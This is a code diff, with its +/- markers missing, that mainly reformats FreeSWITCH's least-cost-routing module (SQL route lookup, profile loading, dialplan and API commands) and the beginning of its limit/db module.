if (profile->profile_has_npanxx == SWITCH_TRUE) {
|
||||
is_intrastatelata(cb_struct);
|
||||
}
|
||||
|
||||
|
||||
/* set our rate field based on env and profile */
|
||||
if (cb_struct->intralata == SWITCH_TRUE && profile->profile_has_intralata == SWITCH_TRUE) {
|
||||
rate_field = switch_core_strdup(cb_struct->pool, "intralata_rate");
|
||||
@@ -785,7 +769,7 @@ static switch_status_t lcr_do_lookup(callback_t *cb_struct)
|
||||
}
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(cb_struct->session), SWITCH_LOG_DEBUG, "intra routing [state:%d lata:%d] so rate field is [%s]\n",
|
||||
cb_struct->intrastate, cb_struct->intralata, rate_field);
|
||||
|
||||
|
||||
/* set some channel vars if we have a session */
|
||||
if (cb_struct->session) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(cb_struct->session), SWITCH_LOG_DEBUG, "we have a session\n");
|
||||
@@ -822,10 +806,10 @@ static switch_status_t lcr_do_lookup(callback_t *cb_struct)
|
||||
/* channel_expand_variables returned the same string to us, no need to free */
|
||||
switch_safe_free(safe_sql);
|
||||
}
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(cb_struct->session), SWITCH_LOG_DEBUG, "SQL: %s\n", (char *)sql_stream.data);
|
||||
|
||||
lookup_status = lcr_execute_sql_callback((char *)sql_stream.data, route_add_callback, cb_struct);
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(cb_struct->session), SWITCH_LOG_DEBUG, "SQL: %s\n", (char *) sql_stream.data);
|
||||
|
||||
lookup_status = lcr_execute_sql_callback((char *) sql_stream.data, route_add_callback, cb_struct);
|
||||
|
||||
switch_safe_free(sql_stream.data);
|
||||
switch_event_safe_destroy(&cb_struct->event);
|
||||
@@ -848,16 +832,15 @@ static switch_bool_t test_profile(char *lcr_profile)
|
||||
switch_event_create(&event, SWITCH_EVENT_MESSAGE);
|
||||
routes.event = event;
|
||||
routes.pool = pool;
|
||||
|
||||
|
||||
if (!(routes.profile = locate_profile(lcr_profile))) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Unknown profile: %s\n", lcr_profile);
|
||||
return SWITCH_FALSE;
|
||||
}
|
||||
|
||||
|
||||
routes.lookup_number = "15555551212";
|
||||
routes.cid = "18005551212";
|
||||
return (lcr_do_lookup(&routes) == SWITCH_STATUS_SUCCESS) ?
|
||||
SWITCH_TRUE : SWITCH_FALSE;
|
||||
return (lcr_do_lookup(&routes) == SWITCH_STATUS_SUCCESS) ? SWITCH_TRUE : SWITCH_FALSE;
|
||||
}
|
||||
|
||||
static switch_status_t lcr_load_config()
|
||||
@@ -893,19 +876,16 @@ static switch_status_t lcr_load_config()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/* initialize sql here, 'cause we need to verify custom_sql for each profile below */
|
||||
if (globals.odbc_dsn) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG
|
||||
, "dsn is \"%s\", user is \"%s\"\n"
|
||||
, globals.odbc_dsn, globals.odbc_user
|
||||
);
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "dsn is \"%s\", user is \"%s\"\n", globals.odbc_dsn, globals.odbc_user);
|
||||
if (!(dbh = lcr_get_db_handle())) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Cannot Open ODBC Database!\n");
|
||||
switch_goto_status(SWITCH_STATUS_FALSE, done);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if (set_db_random() == SWITCH_TRUE) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Database RANDOM function set to %s\n", db_random);
|
||||
} else {
|
||||
@@ -926,7 +906,7 @@ static switch_status_t lcr_load_config()
|
||||
char *custom_sql = NULL;
|
||||
int argc, x = 0;
|
||||
char *argv[4] = { 0 };
|
||||
|
||||
|
||||
SWITCH_STANDARD_STREAM(order_by);
|
||||
|
||||
for (param = switch_xml_child(x_profile, "param"); param; param = param->next) {
|
||||
@@ -934,12 +914,12 @@ static switch_status_t lcr_load_config()
|
||||
|
||||
var = (char *) switch_xml_attr_soft(param, "name");
|
||||
val = (char *) switch_xml_attr_soft(param, "value");
|
||||
|
||||
if (!strcasecmp(var, "order_by") && !zstr(val)) {
|
||||
|
||||
if (!strcasecmp(var, "order_by") && !zstr(val)) {
|
||||
thisorder = &order_by;
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "param val is %s\n", val);
|
||||
if ((argc = switch_separate_string(val, ',', argv, (sizeof(argv) / sizeof(argv[0]))))) {
|
||||
for (x=0; x<argc; x++) {
|
||||
for (x = 0; x < argc; x++) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "arg #%d/%d is %s\n", x, argc, argv[x]);
|
||||
if (!zstr(argv[x])) {
|
||||
if (!strcasecmp(argv[x], "quality")) {
|
||||
@@ -976,37 +956,37 @@ static switch_status_t lcr_load_config()
|
||||
quote_in_list = val;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if (zstr(name)) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "No name specified.\n");
|
||||
} else {
|
||||
profile = switch_core_alloc(globals.pool, sizeof(*profile));
|
||||
memset(profile, 0, sizeof(profile_t));
|
||||
profile->name = switch_core_strdup(globals.pool, name);
|
||||
|
||||
if (!zstr((char *)order_by.data)) {
|
||||
profile->order_by = switch_core_strdup(globals.pool, (char *)order_by.data);
|
||||
|
||||
if (!zstr((char *) order_by.data)) {
|
||||
profile->order_by = switch_core_strdup(globals.pool, (char *) order_by.data);
|
||||
} else {
|
||||
/* default to rate */
|
||||
profile->order_by = ", ${lcr_rate_field}";
|
||||
}
|
||||
|
||||
if (!zstr(id_s)) {
|
||||
profile->id = (uint16_t)atoi(id_s);
|
||||
profile->id = (uint16_t) atoi(id_s);
|
||||
}
|
||||
|
||||
|
||||
/* SWITCH_STANDARD_STREAM doesn't use pools. but we only have to free sql_stream.data */
|
||||
SWITCH_STANDARD_STREAM(sql_stream);
|
||||
if (zstr(custom_sql)) {
|
||||
/* use default sql */
|
||||
sql_stream.write_function(&sql_stream,
|
||||
"SELECT l.digits, c.carrier_name, l.${lcr_rate_field}, cg.prefix AS gw_prefix, cg.suffix AS gw_suffix, l.lead_strip, l.trail_strip, l.prefix, l.suffix "
|
||||
);
|
||||
sql_stream.write_function(&sql_stream,
|
||||
"SELECT l.digits, c.carrier_name, l.${lcr_rate_field}, cg.prefix AS gw_prefix, cg.suffix AS gw_suffix, l.lead_strip, l.trail_strip, l.prefix, l.suffix ");
|
||||
if (db_check("SELECT codec from carrier_gateway limit 1") == SWITCH_TRUE) {
|
||||
sql_stream.write_function(&sql_stream, ", cg.codec ");
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "codec field defined.\n");
|
||||
} else {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "codec field not defined, please update your lcr carrier_gateway database schema.\n");
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
|
||||
"codec field not defined, please update your lcr carrier_gateway database schema.\n");
|
||||
}
|
||||
if (db_check("SELECT cid from lcr limit 1") == SWITCH_TRUE) {
|
||||
sql_stream.write_function(&sql_stream, ", l.cid ");
|
||||
@@ -1014,41 +994,38 @@ static switch_status_t lcr_load_config()
|
||||
} else {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "cid field not defined, please update your lcr database schema.\n");
|
||||
}
|
||||
sql_stream.write_function(&sql_stream, "FROM lcr l JOIN carriers c ON l.carrier_id=c.id JOIN carrier_gateway cg ON c.id=cg.carrier_id WHERE c.enabled = '1' AND cg.enabled = '1' AND l.enabled = '1' AND digits IN (");
|
||||
sql_stream.write_function(&sql_stream,
|
||||
"FROM lcr l JOIN carriers c ON l.carrier_id=c.id JOIN carrier_gateway cg ON c.id=cg.carrier_id WHERE c.enabled = '1' AND cg.enabled = '1' AND l.enabled = '1' AND digits IN (");
|
||||
sql_stream.write_function(&sql_stream, "${lcr_query_expanded_digits}");
|
||||
sql_stream.write_function(&sql_stream, ") AND CURRENT_TIMESTAMP BETWEEN date_start AND date_end ");
|
||||
if (profile->id > 0) {
|
||||
sql_stream.write_function(&sql_stream, "AND lcr_profile=%d ", profile->id);
|
||||
}
|
||||
sql_stream.write_function(&sql_stream, "ORDER BY digits DESC%s",
|
||||
profile->order_by);
|
||||
sql_stream.write_function(&sql_stream, "ORDER BY digits DESC%s", profile->order_by);
|
||||
if (db_random) {
|
||||
sql_stream.write_function(&sql_stream, ", %s", db_random);
|
||||
}
|
||||
sql_stream.write_function(&sql_stream, ";");
|
||||
|
||||
|
||||
custom_sql = sql_stream.data;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
profile->profile_has_intralata = db_check("SELECT intralata_rate FROM lcr LIMIT 1");
|
||||
if (profile->profile_has_intralata != SWITCH_TRUE) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
|
||||
"no \"intralata_rate\" field found in the \"lcr\" table, routing by intralata rates will be disabled until the field is added and mod_lcr is reloaded\n"
|
||||
);
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
|
||||
"no \"intralata_rate\" field found in the \"lcr\" table, routing by intralata rates will be disabled until the field is added and mod_lcr is reloaded\n");
|
||||
}
|
||||
profile->profile_has_intrastate = db_check("SELECT intrastate_rate FROM lcr LIMIT 1");
|
||||
if (profile->profile_has_intrastate != SWITCH_TRUE) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
|
||||
"no \"intrastate_rate\" field found in the \"lcr\" table, routing by intrastate rates will be disabled until the field is added and mod_lcr is reloaded\n"
|
||||
);
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
|
||||
"no \"intrastate_rate\" field found in the \"lcr\" table, routing by intrastate rates will be disabled until the field is added and mod_lcr is reloaded\n");
|
||||
}
|
||||
|
||||
|
||||
profile->profile_has_npanxx = db_check("SELECT npa, nxx, state FROM npa_nxx_company_ocn LIMIT 1");
|
||||
if (profile->profile_has_npanxx != SWITCH_TRUE) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
|
||||
"no \"npa_nxx_company_ocn\" table found in the \"lcr\" database, automatic intrastate detection will be disabled until the table is added and mod_lcr is reloaded\n"
|
||||
);
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
|
||||
"no \"npa_nxx_company_ocn\" table found in the \"lcr\" database, automatic intrastate detection will be disabled until the table is added and mod_lcr is reloaded\n");
|
||||
}
|
||||
|
||||
if (switch_string_var_check_const(custom_sql) || switch_string_has_escaped_data(custom_sql)) {
|
||||
@@ -1057,20 +1034,20 @@ static switch_status_t lcr_load_config()
|
||||
if (strstr(custom_sql, "%")) {
|
||||
profile->custom_sql_has_percent = SWITCH_TRUE;
|
||||
}
|
||||
profile->custom_sql = switch_core_strdup(globals.pool, (char *)custom_sql);
|
||||
|
||||
profile->custom_sql = switch_core_strdup(globals.pool, (char *) custom_sql);
|
||||
|
||||
if (!zstr(reorder_by_rate)) {
|
||||
profile->reorder_by_rate = switch_true(reorder_by_rate);
|
||||
}
|
||||
|
||||
|
||||
if (!zstr(info_in_headers)) {
|
||||
profile->info_in_headers = switch_true(info_in_headers);
|
||||
}
|
||||
|
||||
|
||||
if (!zstr(quote_in_list)) {
|
||||
profile->quote_in_list = switch_true(quote_in_list);
|
||||
}
|
||||
|
||||
|
||||
switch_core_hash_insert(globals.profile_hash, profile->name, profile);
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Loaded lcr profile %s.\n", profile->name);
|
||||
/* test the profile */
|
||||
@@ -1083,7 +1060,7 @@ static switch_status_t lcr_load_config()
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Removing INVALID Profile %s.\n", profile->name);
|
||||
switch_core_hash_delete(globals.profile_hash, profile->name);
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
switch_safe_free(order_by.data);
|
||||
switch_safe_free(sql_stream.data);
|
||||
@@ -1091,7 +1068,7 @@ static switch_status_t lcr_load_config()
|
||||
} else {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "No lcr profiles defined.\n");
|
||||
}
|
||||
|
||||
|
||||
/* define default profile */
|
||||
if (!globals.default_profile) {
|
||||
profile = switch_core_alloc(globals.pool, sizeof(*profile));
|
||||
@@ -1102,7 +1079,7 @@ static switch_status_t lcr_load_config()
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Setting system defined default profile.");
|
||||
}
|
||||
|
||||
done:
|
||||
done:
|
||||
switch_cache_db_release_db_handle(&dbh);
|
||||
switch_xml_free(xml);
|
||||
return status;
|
||||
@@ -1138,17 +1115,17 @@ SWITCH_STANDARD_DIALPLAN(lcr_dialplan_hunt)
|
||||
intralata = switch_channel_get_variable(channel, "intralata");
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "intrastate channel var is [%s]\n", intrastate);
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "intralata channel var is [%s]\n", intralata);
|
||||
if (!zstr(intralata) && !strcasecmp((char *)intralata, "true")) {
|
||||
if (!zstr(intralata) && !strcasecmp((char *) intralata, "true")) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Select routes based on intralata rates\n");
|
||||
routes.intralata = SWITCH_FALSE;
|
||||
} else if (!zstr(intrastate) && !strcasecmp((char *)intrastate, "true")) {
|
||||
} else if (!zstr(intrastate) && !strcasecmp((char *) intrastate, "true")) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Select routes based on intrastate rates\n");
|
||||
routes.intrastate = SWITCH_TRUE;
|
||||
} else {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Select routes based on interstate rates\n");
|
||||
routes.intrastate = SWITCH_FALSE;
|
||||
}
|
||||
|
||||
|
||||
if (!caller_profile) {
|
||||
caller_profile = switch_channel_get_caller_profile(channel);
|
||||
}
|
||||
@@ -1173,7 +1150,7 @@ SWITCH_STANDARD_DIALPLAN(lcr_dialplan_hunt)
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "LCR lookup failed for %s\n", caller_profile->destination_number);
|
||||
}
|
||||
|
||||
end:
|
||||
end:
|
||||
if (!session) {
|
||||
switch_core_destroy_memory_pool(&pool);
|
||||
}
|
||||
@@ -1184,9 +1161,9 @@ void str_repeat(size_t how_many, char *what, switch_stream_handle_t *str_stream)
|
||||
{
|
||||
size_t i;
|
||||
|
||||
/*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "repeating %d of '%s'\n", (int)how_many, what);*/
|
||||
|
||||
for (i=0; i<how_many; i++) {
|
||||
/*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "repeating %d of '%s'\n", (int)how_many, what); */
|
||||
|
||||
for (i = 0; i < how_many; i++) {
|
||||
str_stream->write_function(str_stream, "%s", what);
|
||||
}
|
||||
}
|
||||
@@ -1227,9 +1204,8 @@ SWITCH_STANDARD_APP(lcr_app_function)
|
||||
routes.pool = pool;
|
||||
|
||||
intra = switch_channel_get_variable(channel, "intrastate");
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "intrastate channel var is [%s]\n",
|
||||
zstr(intra) ? "undef" : intra);
|
||||
if (zstr(intra) || strcasecmp((char *)intra, "true")) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "intrastate channel var is [%s]\n", zstr(intra) ? "undef" : intra);
|
||||
if (zstr(intra) || strcasecmp((char *) intra, "true")) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Select routes based on interstate rates\n");
|
||||
routes.intrastate = SWITCH_FALSE;
|
||||
} else {
|
||||
@@ -1248,7 +1224,7 @@ SWITCH_STANDARD_APP(lcr_app_function)
|
||||
if (argc > 1) {
|
||||
lcr_profile = argv[1];
|
||||
}
|
||||
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "LCR Lookup on %s using profile %s\n", dest, lcr_profile);
|
||||
routes.lookup_number = dest;
|
||||
if (caller_profile) {
|
||||
@@ -1258,7 +1234,7 @@ SWITCH_STANDARD_APP(lcr_app_function)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
if (!(routes.profile = locate_profile(lcr_profile))) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Unknown profile: %s\n", lcr_profile);
|
||||
goto end;
|
||||
@@ -1289,16 +1265,17 @@ SWITCH_STANDARD_APP(lcr_app_function)
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "LCR lookup failed for %s\n", dest);
|
||||
}
|
||||
}
|
||||
|
||||
end:
|
||||
|
||||
end:
|
||||
if (!session) {
|
||||
switch_core_destroy_memory_pool(&pool);
|
||||
}
|
||||
}
|
||||
|
||||
static void write_data(switch_stream_handle_t *stream, switch_bool_t as_xml, const char *key, const char *data, int indent, int maxlen) {
|
||||
static void write_data(switch_stream_handle_t *stream, switch_bool_t as_xml, const char *key, const char *data, int indent, int maxlen)
|
||||
{
|
||||
if (as_xml) {
|
||||
str_repeat(indent*2, " ", stream);
|
||||
str_repeat(indent * 2, " ", stream);
|
||||
stream->write_function(stream, "<%s>%s</%s>\n", key, data, key);
|
||||
} else {
|
||||
stream->write_function(stream, " | %s", data);
|
||||
@@ -1320,15 +1297,13 @@ SWITCH_STANDARD_API(dialplan_lcr_function)
|
||||
switch_event_t *event;
|
||||
switch_status_t lookup_status = SWITCH_STATUS_SUCCESS;
|
||||
switch_bool_t as_xml = SWITCH_FALSE;
|
||||
int rowcount=0;
|
||||
int rowcount = 0;
|
||||
|
||||
if (zstr(cmd)) {
|
||||
goto usage;
|
||||
}
|
||||
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG
|
||||
, "data passed to lcr is [%s]\n", cmd
|
||||
);
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "data passed to lcr is [%s]\n", cmd);
|
||||
|
||||
if (session) {
|
||||
pool = switch_core_session_get_pool(session);
|
||||
@@ -1339,7 +1314,7 @@ SWITCH_STANDARD_API(dialplan_lcr_function)
|
||||
cb_struct.event = event;
|
||||
}
|
||||
cb_struct.pool = pool;
|
||||
|
||||
|
||||
mydata = switch_core_strdup(pool, cmd);
|
||||
|
||||
if ((argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
|
||||
@@ -1350,29 +1325,27 @@ SWITCH_STANDARD_API(dialplan_lcr_function)
|
||||
}
|
||||
if (argc > 2) {
|
||||
int i;
|
||||
for (i=2; i<argc; i++) {
|
||||
for (i = 2; i < argc; i++) {
|
||||
if (!strcasecmp(argv[i], "intrastate")) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Select routes based on intrastate rates\n");
|
||||
cb_struct.intrastate = SWITCH_TRUE;
|
||||
} else if (!strcasecmp(argv[i], "as")) {
|
||||
i++;
|
||||
if (argv[i] && !strcasecmp(argv[i], "xml")) {
|
||||
as_xml = SWITCH_TRUE;
|
||||
} else {
|
||||
goto usage;
|
||||
}
|
||||
as_xml = SWITCH_TRUE;
|
||||
} else {
|
||||
goto usage;
|
||||
}
|
||||
} else {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Set Caller ID to [%s]\n", argv[i]);
|
||||
/* the only other option we have right now is caller id */
|
||||
cb_struct.cid = switch_core_strdup(pool, argv[i]);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if (zstr(cb_struct.cid)) {
|
||||
cb_struct.cid = "18005551212";
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING
|
||||
, "Using default CID [%s]\n", cb_struct.cid
|
||||
);
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Using default CID [%s]\n", cb_struct.cid);
|
||||
}
|
||||
|
||||
|
||||
@@ -1432,7 +1405,7 @@ SWITCH_STANDARD_API(dialplan_lcr_function)
|
||||
if (as_xml) {
|
||||
stream->write_function(stream, " <row id=\"%d\">\n", rowcount);
|
||||
}
|
||||
|
||||
|
||||
write_data(stream, as_xml, "prefix", current->digit_str, 2, maximum_lengths.digit_str);
|
||||
write_data(stream, as_xml, "carrier_name", current->carrier_name, 2, maximum_lengths.carrier_name);
|
||||
write_data(stream, as_xml, "rate", current->rate_str, 2, maximum_lengths.rate);
|
||||
@@ -1447,7 +1420,7 @@ SWITCH_STANDARD_API(dialplan_lcr_function)
|
||||
} else {
|
||||
write_data(stream, as_xml, "cid", "", 2, maximum_lengths.cid);
|
||||
}
|
||||
|
||||
|
||||
write_data(stream, as_xml, "dialstring", current->dialstring, 2, maximum_lengths.dialstring);
|
||||
|
||||
if (as_xml) {
|
||||
@@ -1473,14 +1446,14 @@ SWITCH_STANDARD_API(dialplan_lcr_function)
|
||||
}
|
||||
}
|
||||
|
||||
end:
|
||||
end:
|
||||
if (!session) {
|
||||
if (pool) {
|
||||
switch_core_destroy_memory_pool(&pool);
|
||||
}
|
||||
}
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
usage:
|
||||
usage:
|
||||
stream->write_function(stream, "USAGE: %s\n", LCR_SYNTAX);
|
||||
goto end;
|
||||
}
|
||||
@@ -1509,7 +1482,7 @@ SWITCH_STANDARD_API(dialplan_lcr_admin_function)
|
||||
for (hi = switch_hash_first(NULL, globals.profile_hash); hi; hi = switch_hash_next(hi)) {
|
||||
switch_hash_this(hi, NULL, NULL, &val);
|
||||
profile = (profile_t *) val;
|
||||
|
||||
|
||||
stream->write_function(stream, "Name:\t\t%s\n", profile->name);
|
||||
if (zstr(profile->custom_sql)) {
|
||||
stream->write_function(stream, " ID:\t\t%d\n", profile->id);
|
||||
@@ -1522,12 +1495,9 @@ SWITCH_STANDARD_API(dialplan_lcr_admin_function)
|
||||
stream->write_function(stream, " has intrastate:\t%s\n", profile->profile_has_intrastate ? "true" : "false");
|
||||
stream->write_function(stream, " has intralata:\t%s\n", profile->profile_has_intralata ? "true" : "false");
|
||||
stream->write_function(stream, " has npanxx:\t%s\n", profile->profile_has_npanxx ? "true" : "false");
|
||||
stream->write_function(stream, " Reorder rate:\t%s\n",
|
||||
profile->reorder_by_rate ? "enabled" : "disabled");
|
||||
stream->write_function(stream, " Info in headers:\t%s\n",
|
||||
profile->info_in_headers ? "enabled" : "disabled");
|
||||
stream->write_function(stream, " Quote IN() List:\t%s\n",
|
||||
profile->quote_in_list ? "enabled" : "disabled");
|
||||
stream->write_function(stream, " Reorder rate:\t%s\n", profile->reorder_by_rate ? "enabled" : "disabled");
|
||||
stream->write_function(stream, " Info in headers:\t%s\n", profile->info_in_headers ? "enabled" : "disabled");
|
||||
stream->write_function(stream, " Quote IN() List:\t%s\n", profile->quote_in_list ? "enabled" : "disabled");
|
||||
stream->write_function(stream, "\n");
|
||||
}
|
||||
} else {
|
||||
@@ -1536,20 +1506,20 @@ SWITCH_STANDARD_API(dialplan_lcr_admin_function)
|
||||
}
|
||||
switch_safe_free(mydata);
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
usage:
|
||||
usage:
|
||||
switch_safe_free(mydata);
|
||||
stream->write_function(stream, "-ERR %s\n", LCR_ADMIN_SYNTAX);
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
|
||||
|
||||
}
|
||||
|
||||
|
||||
SWITCH_MODULE_LOAD_FUNCTION(mod_lcr_load)
|
||||
{
|
||||
switch_api_interface_t *dialplan_lcr_api_interface;
|
||||
switch_api_interface_t *dialplan_lcr_api_admin_interface;
|
||||
switch_application_interface_t *app_interface;
|
||||
switch_dialplan_interface_t *dp_interface;
|
||||
|
||||
|
||||
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
|
||||
|
||||
if (!switch_odbc_available()) {
|
||||
@@ -1573,7 +1543,7 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_lcr_load)
|
||||
SWITCH_ADD_APP(app_interface, "lcr", "Perform an LCR lookup", "Perform an LCR lookup",
|
||||
lcr_app_function, "<number>", SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
|
||||
SWITCH_ADD_DIALPLAN(dp_interface, "lcr", lcr_dialplan_hunt);
|
||||
|
||||
|
||||
/* indicate that the module should continue to be loaded */
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -51,12 +51,12 @@ static struct {
|
||||
char *odbc_pass;
|
||||
switch_mutex_t *mutex;
|
||||
switch_mutex_t *limit_hash_mutex;
|
||||
switch_hash_t *limit_hash;
|
||||
switch_hash_t *limit_hash;
|
||||
switch_mutex_t *db_hash_mutex;
|
||||
switch_hash_t *db_hash;
|
||||
switch_hash_t *db_hash;
|
||||
} globals;
|
||||
|
||||
typedef struct {
|
||||
typedef struct {
|
||||
uint32_t total_usage;
|
||||
uint32_t rate_usage;
|
||||
time_t last_check;
|
||||
@@ -68,43 +68,33 @@ typedef struct {
|
||||
|
||||
static char limit_sql[] =
|
||||
"CREATE TABLE limit_data (\n"
|
||||
" hostname VARCHAR(255),\n"
|
||||
" realm VARCHAR(255),\n"
|
||||
" id VARCHAR(255),\n"
|
||||
" uuid VARCHAR(255)\n"
|
||||
");\n";
|
||||
" hostname VARCHAR(255),\n" " realm VARCHAR(255),\n" " id VARCHAR(255),\n" " uuid VARCHAR(255)\n" ");\n";
|
||||
|
||||
static char db_sql[] =
|
||||
"CREATE TABLE db_data (\n"
|
||||
" hostname VARCHAR(255),\n"
|
||||
" realm VARCHAR(255),\n"
|
||||
" data_key VARCHAR(255),\n"
|
||||
" data VARCHAR(255)\n"
|
||||
");\n";
|
||||
" hostname VARCHAR(255),\n" " realm VARCHAR(255),\n" " data_key VARCHAR(255),\n" " data VARCHAR(255)\n" ");\n";
|
||||
|
||||
static char group_sql[] =
|
||||
"CREATE TABLE group_data (\n"
|
||||
" hostname VARCHAR(255),\n"
|
||||
" groupname VARCHAR(255),\n"
|
||||
" url VARCHAR(255)\n"
|
||||
");\n";
|
||||
"CREATE TABLE group_data (\n" " hostname VARCHAR(255),\n" " groupname VARCHAR(255),\n" " url VARCHAR(255)\n" ");\n";
|
||||
|
||||
|
||||
switch_cache_db_handle_t *limit_get_db_handle(void)
|
||||
{
|
||||
switch_cache_db_connection_options_t options = { {0} };
|
||||
switch_cache_db_handle_t *dbh = NULL;
|
||||
|
||||
|
||||
if (!zstr(globals.odbc_dsn)) {
|
||||
options.odbc_options.dsn = globals.odbc_dsn;
|
||||
options.odbc_options.user = globals.odbc_user;
|
||||
options.odbc_options.pass = globals.odbc_pass;
|
||||
|
||||
if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_ODBC, &options) != SWITCH_STATUS_SUCCESS) dbh = NULL;
|
||||
if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_ODBC, &options) != SWITCH_STATUS_SUCCESS)
|
||||
dbh = NULL;
|
||||
return dbh;
|
||||
} else {
|
||||
options.core_db_options.db_path = globals.dbname;
|
||||
if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_CORE_DB, &options) != SWITCH_STATUS_SUCCESS) dbh = NULL;
|
||||
if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_CORE_DB, &options) != SWITCH_STATUS_SUCCESS)
|
||||
dbh = NULL;
|
||||
return dbh;
|
||||
}
|
||||
}
|
||||
@@ -127,7 +117,7 @@ static switch_status_t limit_execute_sql(char *sql, switch_mutex_t *mutex)
|
||||
status = switch_cache_db_execute_sql(dbh, sql, NULL);
|
||||
|
||||
end:
|
||||
|
||||
|
||||
switch_cache_db_release_db_handle(&dbh);
|
||||
|
||||
if (mutex) {
|
||||
@@ -142,16 +132,16 @@ static switch_bool_t limit_execute_sql_callback(switch_mutex_t *mutex, char *sql
|
||||
switch_bool_t ret = SWITCH_FALSE;
|
||||
char *errmsg = NULL;
|
||||
switch_cache_db_handle_t *dbh = NULL;
|
||||
|
||||
|
||||
if (mutex) {
|
||||
switch_mutex_lock(mutex);
|
||||
}
|
||||
|
||||
if (!(dbh = limit_get_db_handle())) {
|
||||
